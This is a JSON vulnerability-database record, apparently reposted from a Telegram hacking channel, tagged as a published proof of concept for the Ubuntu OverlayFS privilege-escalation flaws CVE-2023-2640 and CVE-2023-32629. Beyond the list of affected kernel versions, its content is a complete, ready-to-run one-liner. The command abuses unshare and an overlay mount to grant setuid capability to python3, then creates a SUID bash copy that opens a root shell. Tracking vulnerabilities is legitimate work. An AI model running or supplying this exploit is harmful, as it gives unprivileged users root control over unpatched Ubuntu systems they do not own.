{"uuid": "50608044-e2fd-46d3-88ab-18c74963eff4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/LearnHacking1337/3755", "content": "\ud83d\udc4a CVE-2023-32629 & CVE-2023-2640\n\ud83d\udc27 Ubuntu Privilege Escalation\n\nVulnerable kernels:\nKernel: 6.2.0 | Ubuntu 23.04 (Lunar Lobster) / Ubuntu 22.04 LTS (Jammy Jellyfish)\nKernel: 5.19.0 | Ubuntu 22.10 (Kinetic Kudu) / Ubuntu 22.04 LTS (Jammy Jellyfish)\nKernel: 5.4.0 | Ubuntu 22.04 LTS (Local Fossa) / Ubuntu 18.04 LTS (Bionic Beaver)\n\nCode:\nunshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'", "creation_timestamp": "2023-11-13T22:21:02.000000Z"}